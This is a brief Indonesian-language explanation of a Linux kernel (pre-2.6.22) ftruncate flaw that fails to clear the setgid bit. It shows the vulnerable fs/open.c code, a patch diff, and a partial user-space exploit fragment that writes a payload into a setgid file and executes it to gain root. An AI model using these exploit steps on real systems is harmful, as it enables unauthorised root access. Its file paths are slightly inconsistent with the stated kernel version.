kelemahan kernel<2.6.22 pada fungsi ftruncate (fs/open.c) misal kita tes di kernel 2.6.18.2 berikut ini source code linux-2.18.2/fs/open.c yang mengandung buggy code pada fungsi pemotongan file: ==== int do_truncate(struct dentry *dentry, loff_t length, unsigned int time_attrs, struct file *filp) { int err; struct iattr newattrs; /* Not pretty: "inode->i_size" shouldn't really be signed. But it is. */ if (length < 0) return -EINVAL; newattrs.ia_size = length; newattrs.ia_valid = ATTR_SIZE | time_attrs; if (filp) { newattrs.ia_file = filp; newattrs.ia_valid |= ATTR_FILE; } mutex_lock(&dentry->d_inode->i_mutex); err = notify_change(dentry, &newattrs); mutex_unlock(&dentry->d_inode->i_mutex); return err; } === dari kode di atas tidak ada validasi pada fungsi ftruncate, kesalahan di atas bisa dimanfaatkan attacker karena tidak adanya pembersihan bit sgid pada file yg dicraft dengan fungsi ftruncate, patch untuk fungsi di atas dengan menambahkan fungsi should_remove_suid pada file linux-2.18.2/mm/filemap.h ============= /* Remove suid/sgid on truncate too */ - newattrs.ia_valid |= should_remove_suid(dentry); + ret = should_remove_suid(dentry); + if (ret) + newattrs.ia_valid |= (ret | ATTR_FORCE); ============= potongan kode exploit yang berjalan di user space ini memungkinkan attack memperolah root privilege dengan memanfaatkan bug di atas fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750); ftruncate(fd1, len); buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0); memcpy(buf1,buf,len); munmap(buf1,len); close(fd1);close(fd); free(buf); printf("We're evil evil evil!\n\n"); execv(".evilsploit", NULL);